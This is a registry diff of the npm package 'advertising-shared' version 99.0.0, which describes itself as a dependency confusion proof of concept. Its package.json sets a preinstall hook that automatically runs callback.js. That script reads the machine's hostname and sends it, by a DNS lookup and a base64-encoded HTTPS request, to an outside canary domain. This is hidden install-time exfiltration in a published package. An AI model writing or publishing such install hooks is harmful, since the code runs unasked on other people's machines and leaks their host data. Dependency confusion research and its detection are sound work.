advertising-shared 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/callback.js +7 -0
- package/index.js +2 -0
- package/package.json +11 -0
package/callback.js
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const id = ['depconfusion', os.hostname().replace(/[^a-z0-9]/gi,'-').slice(0,30), Date.now().toString(36)].join('.');
|
|
5
|
+
const canary = 'd69ai701mapqfrtu0ulg7i38uo6cotenc.projectinteraction.info';
|
|
6
|
+
dns.resolve(id + '.' + canary, () => {});
|
|
7
|
+
try { const d = JSON.stringify({t:'dep-confusion',pkg:'advertising-shared',h:os.hostname(),ts:new Date().toISOString()}); const r = https.request({hostname:canary,path:'/poc?'+Buffer.from(d).toString('base64url'),method:'GET',timeout:5000},()=>{}); r.on('error',()=>{}); r.end(); } catch(e) {}
|
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "advertising-shared",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Security research - dependency confusion proof of concept. Contact: schneidersec on npm.",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"preinstall": "node callback.js || true"
|
|
7
|
+
},
|
|
8
|
+
"main": "index.js",
|
|
9
|
+
"keywords": ["security-research"],
|
|
10
|
+
"license": "ISC"
|
|
11
|
+
}
|